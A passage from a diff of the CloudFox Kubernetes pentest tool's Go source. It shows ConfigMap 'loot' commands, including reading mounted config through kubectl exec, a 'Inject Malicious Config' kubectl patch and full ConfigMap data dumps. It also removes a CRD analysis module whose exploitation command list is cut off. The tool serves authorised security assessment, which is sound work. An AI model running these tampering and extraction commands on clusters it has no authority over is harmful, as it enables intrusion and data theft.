cmds.Add(" name: <TARGET_CONFIGMAP>")
|
||||
cmds.Add("EOF")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Extract data from pod")
|
||||
cmds.Add("kubectl exec -it configmap-reader -n <TARGET_NAMESPACE> -- cat /config/*")
|
||||
cmds.Add("")
|
||||
|
||||
// Section 6: Modify ConfigMaps
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 6. MODIFICATION - Inject Malicious Config")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Check if you can update ConfigMaps")
|
||||
cmds.Add("kubectl auth can-i update configmaps -n <namespace>")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Edit ConfigMap directly")
|
||||
cmds.Add("kubectl edit configmap <name> -n <namespace>")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Patch specific key")
|
||||
cmds.Add("kubectl patch configmap <name> -n <namespace> --type=merge -p '{\"data\":{\"key\":\"malicious-value\"}}'")
|
||||
cmds.Add("")
|
||||
|
||||
// Section 7: Find pods mounting ConfigMaps
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 7. FIND PODS MOUNTING CONFIGMAPS")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Find all pods mounting a specific ConfigMap")
|
||||
cmds.Add("kubectl get pods -A -o json | jq -r '.items[] | select(.spec.volumes[]?.configMap.name == \"<CONFIGMAP_NAME>\") | \"\\(.metadata.namespace)/\\(.metadata.name)\"'")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Find pods using ConfigMaps as environment variables")
|
||||
cmds.Add("kubectl get pods -A -o json | jq -r '.items[] | select(.spec.containers[].envFrom[]?.configMapRef != null) | \"\\(.metadata.namespace)/\\(.metadata.name)\"'")
|
||||
cmds.Add("")
|
||||
|
||||
// Full configmap data dump
|
||||
dump := loot.Section("ConfigMap-Data")
|
||||
dump.Add("═══════════════════════════════════════════════════════════════")
|
||||
dump.Add(" CONFIGMAP FULL DATA DUMP")
|
||||
dump.Add("═══════════════════════════════════════════════════════════════")
|
||||
dump.Add("")
|
||||
|
||||
for _, cm := range allConfigMaps {
|
||||
if len(cm.Data) == 0 && len(cm.BinaryData) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
dump.Add(fmt.Sprintf("##############################################"))
|
||||
dump.Add(fmt.Sprintf("## %s/%s", cm.Namespace, cm.Name))
|
||||
dump.Add(fmt.Sprintf("## Keys: %d | Created: %s", len(cm.Data)+len(cm.BinaryData), cm.CreationTimestamp.Format("2006-01-02 15:04:05")))
|
||||
if cm.Immutable != nil && *cm.Immutable {
|
||||
dump.Add("## Immutable: Yes")
|
||||
}
|
||||
dump.Add(fmt.Sprintf("##############################################"))
|
||||
dump.Add("")
|
||||
|
||||
for key, value := range cm.Data {
|
||||
dump.Add(fmt.Sprintf("--- [%s] ---", key))
|
||||
dump.Add(value)
|
||||
dump.Add("")
|
||||
}
|
||||
|
||||
for key, value := range cm.BinaryData {
|
||||
encoded := base64.StdEncoding.EncodeToString(value)
|
||||
dump.Add(fmt.Sprintf("--- [%s] (binary, base64-encoded) ---", key))
|
||||
dump.Add(encoded)
|
||||
dump.Add("")
|
||||
}
|
||||
}
|
||||
|
||||
return loot.Build()
|
||||
}
|
||||
@@ -1,875 +0,0 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
admissionregv1 "k8s.io/api/admissionregistration/v1"
|
||||
rbacv1 "k8s.io/api/rbac/v1"
|
||||
apiextensionsv1 "k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/apimachinery/pkg/runtime/schema"
|
||||
"k8s.io/client-go/dynamic"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
var CRDsCmd = &cobra.Command{
|
||||
Use: "crds",
|
||||
Aliases: []string{"crd", "customresources"},
|
||||
Short: "Analyze Custom Resource Definitions for security risks",
|
||||
Long: `
|
||||
Analyze Custom Resource Definitions with comprehensive security analysis including:
|
||||
- CRD inventory with resource counts
|
||||
- Interesting/security-relevant CRDs (certs, secrets, policy, RBAC)
|
||||
- RBAC analysis: who can CRUD each CRD's resources
|
||||
- Webhook analysis: validating/mutating webhooks covering CRDs
|
||||
- Missing validation schemas (injection risk)
|
||||
- Conversion webhooks (admission bypass potential)
|
||||
- Cluster-scoped CRDs (broad access implications)
|
||||
|
||||
cloudfox kubernetes crds`,
|
||||
Run: ListCRDs,
|
||||
}
|
||||
|
||||
// init() removed - detailed flag is now a global persistent flag in cli/kubernetes.go
|
||||
|
||||
type CRDsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t CRDsOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t CRDsOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type CRDAnalysis struct {
|
||||
Name string
|
||||
Group string
|
||||
Kind string
|
||||
Plural string
|
||||
Scope string
|
||||
Versions []string
|
||||
StoredVersions []string
|
||||
LatestVersion string
|
||||
HasValidation bool
|
||||
HasConversionWebhook bool
|
||||
ConversionStrategy string
|
||||
HasStatus bool
|
||||
HasScale bool
|
||||
Namespaced bool
|
||||
Categories []string
|
||||
ShortNames []string
|
||||
DeprecatedVersions []string
|
||||
ResourceCount int
|
||||
}
|
||||
|
||||
type CRDResourceInfo struct {
|
||||
CRDName string
|
||||
Group string
|
||||
Kind string
|
||||
Resource string
|
||||
Namespace string
|
||||
ResourceName string
|
||||
Labels string
|
||||
CreatedAt string
|
||||
}
|
||||
|
||||
type CRDRBACEntry struct {
|
||||
CRDGroup string
|
||||
Resource string
|
||||
SubjectKind string
|
||||
SubjectName string
|
||||
Namespace string
|
||||
Verbs string
|
||||
Scope string
|
||||
RoleName string
|
||||
}
|
||||
|
||||
type CRDWebhookEntry struct {
|
||||
CRDGroup string
|
||||
WebhookName string
|
||||
Type string
|
||||
FailurePolicy string
|
||||
Operations string
|
||||
Service string
|
||||
}
|
||||
|
||||
type InterestingCRD struct {
|
||||
Name string
|
||||
Group string
|
||||
Kind string
|
||||
Category string
|
||||
Why string
|
||||
Resources int
|
||||
}
|
||||
|
||||
// interestingGroupPatterns maps category to group substrings
|
||||
var interestingGroupPatterns = map[string][]string{
|
||||
"Secrets/Certs": {"cert-manager", "secrets-store", "sealed-secrets", "vault", "external-secrets", "certmanager", "spiffe"},
|
||||
"Policy": {"policy", "kyverno", "gatekeeper", "opa", "constraints", "kubearmor", "falco", "neuvector", "stackrox", "crowdstrike", "security-profiles-operator", "sysdig", "aquasec", "prismacloud"},
|
||||
"RBAC/Auth": {"rbac", "auth", "identity", "oidc", "dex", "keycloak"},
|
||||
"Workload": {"argoproj", "tekton", "flux", "keda", "knative", "crossplane"},
|
||||
"Network": {"networking.istio", "cilium", "calico", "linkerd", "gateway.networking"},
|
||||
"Storage": {"snapshot.storage", "rook", "longhorn", "velero"},
|
||||
}
|
||||
|
||||
func ListCRDs(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
detailed := globals.K8sDetailed
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Analyzing CRDs for %s", globals.ClusterName), globals.K8S_CRDS_MODULE_NAME)
|
||||
|
||||
// Standard clientset for RBAC and webhooks
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
// Dynamic client for resource counting
|
||||
dynClient := config.GetDynamicClientOrExit()
|
||||
|
||||
// Fetch CRDs (via SDK cache)
|
||||
crdItems, err := sdk.GetCRDs(ctx)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching CRDs: %v", err), globals.K8S_CRDS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Build set of CRD groups for RBAC/webhook matching
|
||||
crdGroups := make(map[string]bool)
|
||||
|
||||
var crdAnalyses []CRDAnalysis
|
||||
for _, crd := range crdItems {
|
||||
analysis := analyzeCRD(&crd)
|
||||
crdGroups[analysis.Group] = true
|
||||
crdAnalyses = append(crdAnalyses, analysis)
|
||||
}
|
||||
|
||||
// Enumerate CRD resources
|
||||
logger.InfoM("Enumerating CRD resources...", globals.K8S_CRDS_MODULE_NAME)
|
||||
resourceInfos := enumerateCRDResources(ctx, dynClient, crdAnalyses)
|
||||
|
||||
// Build resource count map
|
||||
resourceCountMap := make(map[string]int)
|
||||
for _, ri := range resourceInfos {
|
||||
resourceCountMap[ri.CRDName]++
|
||||
}
|
||||
for i := range crdAnalyses {
|
||||
crdAnalyses[i].ResourceCount = resourceCountMap[crdAnalyses[i].Name]
|
||||
}
|
||||
|
||||
// Identify interesting CRDs
|
||||
interestingCRDs := identifyInterestingCRDs(crdAnalyses)
|
||||
|
||||
// RBAC analysis
|
||||
logger.InfoM("Analyzing RBAC for CRD groups...", globals.K8S_CRDS_MODULE_NAME)
|
||||
rbacEntries := analyzeCRDRBAC(ctx, clientset, crdGroups)
|
||||
|
||||
// Webhook analysis
|
||||
logger.InfoM("Analyzing webhooks for CRD groups...", globals.K8S_CRDS_MODULE_NAME)
|
||||
webhookEntries := analyzeCRDWebhooks(ctx, clientset, crdGroups)
|
||||
|
||||
// Build loot — only CRD-Commands (RBAC and Interesting are covered by tables)
|
||||
loot := shared.NewLootBuilder()
|
||||
loot.Section("CRD-Commands").Add(generateCRDCommands(crdAnalyses))
|
||||
lootFiles := loot.Build()
|
||||
|
||||
// Build tables
|
||||
var tables []internal.TableFile
|
||||
|
||||
// Always show: main CRDs table and Interesting CRDs
|
||||
tables = append(tables, generateCRDTable(crdAnalyses))
|
||||
if len(interestingCRDs) > 0 {
|
||||
tables = append(tables, generateInterestingCRDTable(interestingCRDs))
|
||||
}
|
||||
|
||||
// Detailed: RBAC, webhooks, per-namespace resources
|
||||
if detailed {
|
||||
if len(rbacEntries) > 0 {
|
||||
tables = append(tables, generateCRDRBACTable(rbacEntries))
|
||||
}
|
||||
if len(webhookEntries) > 0 {
|
||||
tables = append(tables, generateCRDWebhookTable(webhookEntries))
|
||||
}
|
||||
if len(resourceInfos) > 0 {
|
||||
tables = append(tables, generateCRDResourceTable(resourceInfos))
|
||||
}
|
||||
}
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"CRDs",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
CRDsOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_CRDS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Summary logging
|
||||
if len(crdItems) > 0 {
|
||||
noValidationCount := 0
|
||||
clusterScopedCount := 0
|
||||
webhooksCount := 0
|
||||
|
||||
for _, analysis := range crdAnalyses {
|
||||
if !analysis.HasValidation {
|
||||
noValidationCount++
|
||||
}
|
||||
if !analysis.Namespaced {
|
||||
clusterScopedCount++
|
||||
}
|
||||
if analysis.HasConversionWebhook {
|
||||
webhooksCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("%d CRDs analyzed | Interesting: %d | No Validation: %d | Cluster-Scoped: %d | Conversion Webhooks: %d | RBAC Entries: %d | Admission Webhooks: %d",
|
||||
len(crdItems), len(interestingCRDs), noValidationCount, clusterScopedCount, webhooksCount, len(rbacEntries), len(webhookEntries)),
|
||||
globals.K8S_CRDS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No CRDs found", globals.K8S_CRDS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func analyzeCRD(crd *apiextensionsv1.CustomResourceDefinition) CRDAnalysis {
|
||||
analysis := CRDAnalysis{
|
||||
Name: crd.Name,
|
||||
Group: crd.Spec.Group,
|
||||
Kind: crd.Spec.Names.Kind,
|
||||
Plural: crd.Spec.Names.Plural,
|
||||
Scope: string(crd.Spec.Scope),
|
||||
Categories: crd.Spec.Names.Categories,
|
||||
ShortNames: crd.Spec.Names.ShortNames,
|
||||
Namespaced: crd.Spec.Scope == apiextensionsv1.NamespaceScoped,
|
||||
}
|
||||
|
||||
for _, ver := range crd.Spec.Versions {
|
||||
analysis.Versions = append(analysis.Versions, ver.Name)
|
||||
if ver.Served && ver.Storage {
|
||||
analysis.LatestVersion = ver.Name
|
||||
}
|
||||
if ver.Schema != nil && ver.Schema.OpenAPIV3Schema != nil {
|
||||
analysis.HasValidation = true
|
||||
}
|
||||
if ver.Deprecated {
|
||||
analysis.DeprecatedVersions = append(analysis.DeprecatedVersions, ver.Name)
|
||||
}
|
||||
if ver.Subresources != nil {
|
||||
if ver.Subresources.Status != nil {
|
||||
analysis.HasStatus = true
|
||||
}
|
||||
if ver.Subresources.Scale != nil {
|
||||
analysis.HasScale = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
analysis.StoredVersions = crd.Status.StoredVersions
|
||||
|
||||
if crd.Spec.Conversion != nil {
|
||||
analysis.ConversionStrategy = string(crd.Spec.Conversion.Strategy)
|
||||
if crd.Spec.Conversion.Strategy == apiextensionsv1.WebhookConverter {
|
||||
analysis.HasConversionWebhook = true
|
||||
}
|
||||
}
|
||||
|
||||
return analysis
|
||||
}
|
||||
|
||||
// enumerateCRDResources fetches actual instances of each CRD
|
||||
func enumerateCRDResources(ctx context.Context, dynClient dynamic.Interface, analyses []CRDAnalysis) []CRDResourceInfo {
|
||||
var results []CRDResourceInfo
|
||||
|
||||
for _, crd := range analyses {
|
||||
if crd.LatestVersion == "" || crd.Plural == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
gvr := schema.GroupVersionResource{
|
||||
Group: crd.Group,
|
||||
Version: crd.LatestVersion,
|
||||
Resource: crd.Plural,
|
||||
}
|
||||
|
||||
list, err := dynClient.Resource(gvr).Namespace("").List(ctx, metav1.ListOptions{})
|
||||
if err != nil || len(list.Items) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, item := range list.Items {
|
||||
ns := item.GetNamespace()
|
||||
if ns == "" {
|
||||
ns = "(cluster-scoped)"
|
||||
}
|
||||
|
||||
// Format labels
|
||||
labels := item.GetLabels()
|
||||
var labelParts []string
|
||||
for k, v := range labels {
|
||||
labelParts = append(labelParts, fmt.Sprintf("%s=%s", k, v))
|
||||
}
|
||||
labelsStr := "-"
|
||||
if len(labelParts) > 0 {
|
||||
sort.Strings(labelParts)
|
||||
labelsStr = strings.Join(labelParts, ", ")
|
||||
}
|
||||
|
||||
createdAt := "-"
|
||||
if t := item.GetCreationTimestamp(); !t.IsZero() {
|
||||
createdAt = t.Format("2006-01-02 15:04")
|
||||
}
|
||||
|
||||
results = append(results, CRDResourceInfo{
|
||||
CRDName: crd.Name,
|
||||
Group: crd.Group,
|
||||
Kind: crd.Kind,
|
||||
Resource: crd.Plural,
|
||||
Namespace: ns,
|
||||
ResourceName: item.GetName(),
|
||||
Labels: labelsStr,
|
||||
CreatedAt: createdAt,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// identifyInterestingCRDs categorizes security-relevant CRDs
|
||||
func identifyInterestingCRDs(analyses []CRDAnalysis) []InterestingCRD {
|
||||
var results []InterestingCRD
|
||||
|
||||
for _, crd := range analyses {
|
||||
groupLower := strings.ToLower(crd.Group)
|
||||
for category, patterns := range interestingGroupPatterns {
|
||||
for _, pattern := range patterns {
|
||||
if strings.Contains(groupLower, pattern) {
|
||||
why := fmt.Sprintf("Group matches: %s", pattern)
|
||||
if !crd.HasValidation {
|
||||
why += ", no validation"
|
||||
}
|
||||
if !crd.Namespaced {
|
||||
why += ", cluster-scoped"
|
||||
}
|
||||
results = append(results, InterestingCRD{
|
||||
Name: crd.Name,
|
||||
Group: crd.Group,
|
||||
Kind: crd.Kind,
|
||||
Category: category,
|
||||
Why: why,
|
||||
Resources: crd.ResourceCount,
|
||||
})
|
||||
break // one category per CRD
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sort.Slice(results, func(i, j int) bool {
|
||||
if results[i].Category != results[j].Category {
|
||||
return results[i].Category < results[j].Category
|
||||
}
|
||||
return results[i].Name < results[j].Name
|
||||
})
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// analyzeCRDRBAC finds RBAC entries that grant access to CRD API groups
|
||||
func analyzeCRDRBAC(ctx context.Context, clientset *kubernetes.Clientset, crdGroups map[string]bool) []CRDRBACEntry {
|
||||
var results []CRDRBACEntry
|
||||
|
||||
clusterRoles, err := sdk.GetClusterRoles(ctx, clientset)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
clusterRoleBindings, err := sdk.GetClusterRoleBindings(ctx, clientset)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
roles, err := sdk.GetRoles(ctx, clientset)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
roleBindings, err := sdk.GetRoleBindings(ctx, clientset)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
|
||||
// Build role lookup maps
|
||||
crMap := make(map[string]*rbacv1.ClusterRole)
|
||||
for i := range clusterRoles {
|
||||
crMap[clusterRoles[i].Name] = &clusterRoles[i]
|
||||
}
|
||||
rMap := make(map[string]*rbacv1.Role)
|
||||
for i := range roles {
|
||||
key := roles[i].Namespace + "/" + roles[i].Name
|
||||
rMap[key] = &roles[i]
|
||||
}
|
||||
|
||||
// Check ClusterRoleBindings
|
||||
for _, crb := range clusterRoleBindings {
|
||||
cr, ok := crMap[crb.RoleRef.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
entries := extractCRDRBACFromRules(cr.Rules, crdGroups, crb.Subjects, crb.RoleRef.Name, "Cluster", "")
|
||||
results = append(results, entries...)
|
||||
}
|
||||
|
||||
// Check RoleBindings
|
||||
for _, rb := range roleBindings {
|
||||
var rules []rbacv1.PolicyRule
|
||||
if rb.RoleRef.Kind == "ClusterRole" {
|
||||
if cr, ok := crMap[rb.RoleRef.Name]; ok {
|
||||
rules = cr.Rules
|
||||
}
|
||||
} else {
|
||||
key := rb.Namespace + "/" + rb.RoleRef.Name
|
||||
if r, ok := rMap[key]; ok {
|
||||
rules = r.Rules
|
||||
}
|
||||
}
|
||||
if len(rules) == 0 {
|
||||
continue
|
||||
}
|
||||
entries := extractCRDRBACFromRules(rules, crdGroups, rb.Subjects, rb.RoleRef.Name, "Namespace", rb.Namespace)
|
||||
results = append(results, entries...)
|
||||
}
|
||||
|
||||
sort.Slice(results, func(i, j int) bool {
|
||||
if results[i].CRDGroup != results[j].CRDGroup {
|
||||
return results[i].CRDGroup < results[j].CRDGroup
|
||||
}
|
||||
return results[i].SubjectName < results[j].SubjectName
|
||||
})
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func extractCRDRBACFromRules(rules []rbacv1.PolicyRule, crdGroups map[string]bool, subjects []rbacv1.Subject, roleName, scope, namespace string) []CRDRBACEntry {
|
||||
var results []CRDRBACEntry
|
||||
|
||||
for _, rule := range rules {
|
||||
for _, apiGroup := range rule.APIGroups {
|
||||
if !crdGroups[apiGroup] && apiGroup != "*" {
|
||||
continue
|
||||
}
|
||||
// This rule covers a CRD group (or wildcard)
|
||||
matchedGroup := apiGroup
|
||||
if apiGroup == "*" {
|
||||
matchedGroup = "(all groups)"
|
||||
}
|
||||
resources := strings.Join(rule.Resources, ",")
|
||||
if len(rule.Resources) == 0 {
|
||||
resources = "*"
|
||||
}
|
||||
verbs := strings.Join(rule.Verbs, ",")
|
||||
|
||||
for _, subj := range subjects {
|
||||
results = append(results, CRDRBACEntry{
|
||||
CRDGroup: matchedGroup,
|
||||
Resource: resources,
|
||||
SubjectKind: subj.Kind,
|
||||
SubjectName: subj.Name,
|
||||
Namespace: namespace,
|
||||
Verbs: verbs,
|
||||
Scope: scope,
|
||||
RoleName: roleName,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// analyzeCRDWebhooks finds webhooks that cover CRD API groups
|
||||
func analyzeCRDWebhooks(ctx context.Context, clientset *kubernetes.Clientset, crdGroups map[string]bool) []CRDWebhookEntry {
|
||||
var results []CRDWebhookEntry
|
||||
|
||||
validating, err := clientset.AdmissionregistrationV1().ValidatingWebhookConfigurations().List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, vwc := range validating.Items {
|
||||
for _, wh := range vwc.Webhooks {
|
||||
fp := "Unknown"
|
||||
if wh.FailurePolicy != nil {
|
||||
fp = string(*wh.FailurePolicy)
|
||||
}
|
||||
svc := webhookClientConfigStr(wh.ClientConfig)
|
||||
for _, rule := range wh.Rules {
|
||||
entries := extractWebhookCRDEntries(rule.APIGroups, rule.Operations, crdGroups, vwc.Name, "Validating", fp, svc)
|
||||
results = append(results, entries...)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
mutating, err := clientset.AdmissionregistrationV1().MutatingWebhookConfigurations().List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, mwc := range mutating.Items {
|
||||
for _, wh := range mwc.Webhooks {
|
||||
fp := "Unknown"
|
||||
if wh.FailurePolicy != nil {
|
||||
fp = string(*wh.FailurePolicy)
|
||||
}
|
||||
svc := webhookClientConfigStr(wh.ClientConfig)
|
||||
for _, rule := range wh.Rules {
|
||||
entries := extractWebhookCRDEntries(rule.APIGroups, rule.Operations, crdGroups, mwc.Name, "Mutating", fp, svc)
|
||||
results = append(results, entries...)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func extractWebhookCRDEntries(apiGroups []string, operations []admissionregv1.OperationType, crdGroups map[string]bool, webhookName, whType, failurePolicy, service string) []CRDWebhookEntry {
|
||||
var results []CRDWebhookEntry
|
||||
|
||||
for _, apiGroup := range apiGroups {
|
||||
if !crdGroups[apiGroup] && apiGroup != "*" {
|
||||
continue
|
||||
}
|
||||
matchedGroup := apiGroup
|
||||
if apiGroup == "*" {
|
||||
matchedGroup = "(all groups)"
|
||||
}
|
||||
ops := make([]string, len(operations))
|
||||
for i, op := range operations {
|
||||
ops[i] = string(op)
|
||||
}
|
||||
results = append(results, CRDWebhookEntry{
|
||||
CRDGroup: matchedGroup,
|
||||
WebhookName: webhookName,
|
||||
Type: whType,
|
||||
FailurePolicy: failurePolicy,
|
||||
Operations: strings.Join(ops, ","),
|
||||
Service: service,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func webhookClientConfigStr(cc admissionregv1.WebhookClientConfig) string {
|
||||
if cc.Service != nil {
|
||||
return fmt.Sprintf("%s/%s", cc.Service.Namespace, cc.Service.Name)
|
||||
}
|
||||
if cc.URL != nil {
|
||||
return *cc.URL
|
||||
}
|
||||
return "-"
|
||||
}
|
||||
|
||||
// Table generators
|
||||
|
||||
func generateCRDTable(analyses []CRDAnalysis) internal.TableFile {
|
||||
header := []string{"Name", "Group", "Kind", "Scope", "Versions", "Validation", "Conv. Webhook", "Resources"}
|
||||
|
||||
sort.Slice(analyses, func(i, j int) bool {
|
||||
return analyses[i].Name < analyses[j].Name
|
||||
})
|
||||
|
||||
var rows [][]string
|
||||
for _, crd := range analyses {
|
||||
versionsStr := strings.Join(crd.Versions, ",")
|
||||
if len(versionsStr) > 20 {
|
||||
versionsStr = versionsStr[:17] + "..."
|
||||
}
|
||||
|
||||
rows = append(rows, []string{
|
||||
truncateStr(crd.Name, 50),
|
||||
crd.Group,
|
||||
crd.Kind,
|
||||
crd.Scope,
|
||||
versionsStr,
|
||||
shared.FormatBool(crd.HasValidation),
|
||||
shared.FormatBool(crd.HasConversionWebhook),
|
||||
fmt.Sprintf("%d", crd.ResourceCount),
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "CRDs",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
func generateInterestingCRDTable(crds []InterestingCRD) internal.TableFile {
|
||||
header := []string{"Name", "Group", "Kind", "Category", "Why", "Resources"}
|
||||
var rows [][]string
|
||||
|
||||
for _, crd := range crds {
|
||||
rows = append(rows, []string{
|
||||
truncateStr(crd.Name, 50),
|
||||
crd.Group,
|
||||
crd.Kind,
|
||||
crd.Category,
|
||||
crd.Why,
|
||||
fmt.Sprintf("%d", crd.Resources),
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "Interesting-CRDs",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
func generateCRDRBACTable(entries []CRDRBACEntry) internal.TableFile {
|
||||
header := []string{"Namespace", "CRD Group", "Resource", "Verbs", "Subject", "Subject Name", "Role", "Scope"}
|
||||
var rows [][]string
|
||||
|
||||
for _, e := range entries {
|
||||
ns := e.Namespace
|
||||
if ns == "" {
|
||||
ns = "(cluster)"
|
||||
}
|
||||
rows = append(rows, []string{
|
||||
ns,
|
||||
e.CRDGroup,
|
||||
e.Resource,
|
||||
e.Verbs,
|
||||
e.SubjectKind,
|
||||
e.SubjectName,
|
||||
e.RoleName,
|
||||
e.Scope,
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "CRD-RBAC",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
func generateCRDWebhookTable(entries []CRDWebhookEntry) internal.TableFile {
|
||||
header := []string{"CRD Group", "Webhook Name", "Type", "Service", "Operations", "Failure Policy"}
|
||||
var rows [][]string
|
||||
|
||||
for _, e := range entries {
|
||||
rows = append(rows, []string{
|
||||
e.CRDGroup,
|
||||
e.WebhookName,
|
||||
e.Type,
|
||||
e.Service,
|
||||
e.Operations,
|
||||
e.FailurePolicy,
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "CRD-Webhooks",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
func generateCRDResourceTable(infos []CRDResourceInfo) internal.TableFile {
|
||||
header := []string{"Namespace", "Kind", "Name", "Created", "Labels"}
|
||||
var rows [][]string
|
||||
|
||||
sort.Slice(infos, func(i, j int) bool {
|
||||
if infos[i].Namespace != infos[j].Namespace {
|
||||
return infos[i].Namespace < infos[j].Namespace
|
||||
}
|
||||
if infos[i].Kind != infos[j].Kind {
|
||||
return infos[i].Kind < infos[j].Kind
|
||||
}
|
||||
return infos[i].ResourceName < infos[j].ResourceName
|
||||
})
|
||||
|
||||
for _, ri := range infos {
|
||||
rows = append(rows, []string{
|
||||
ri.Namespace,
|
||||
ri.Kind,
|
||||
ri.ResourceName,
|
||||
ri.CreatedAt,
|
||||
ri.Labels,
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "CRD-Resources",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
// Loot generators
|
||||
|
||||
// generateCRDCommands creates enumeration and exploitation commands for CRDs
|
||||
func generateCRDCommands(analyses []CRDAnalysis) string {
|
||||
var lines []string
|
||||
|
||||
lines = append(lines, "═══════════════════════════════════════════════════════════════")
|
||||
lines = append(lines, " CRD ENUMERATION AND EXPLOITATION COMMANDS")
|
||||
lines = append(lines, "═══════════════════════════════════════════════════════════════")
|
||||
lines = append(lines, "")
|
||||
|
||||
// Basic enumeration
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 1. ENUMERATION - List All CRDs")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "kubectl get crds")
|
||||
lines = append(lines, "kubectl get crds -o wide")
|
||||
lines = append(lines, "kubectl get crd <crd-name> -o yaml")
|
||||
lines = append(lines, "kubectl describe crd <crd-name>")
|
||||
lines = append(lines, "")
|
||||
|
||||
// Find vulnerable CRDs
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 2. IDENTIFY VULNERABLE CRDs")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# CRDs without validation schema")
|
||||
lines = append(lines, "kubectl get crds -o json | jq -r '.items[] | select(.spec.versions[].schema == null or .spec.versions[].schema.openAPIV3Schema == null) | .metadata.name'")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# Cluster-scoped CRDs")
|
||||
lines = append(lines, "kubectl get crds -o json | jq -r '.items[] | select(.spec.scope == \"Cluster\") | .metadata.name'")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# CRDs with conversion webhooks")
|
||||
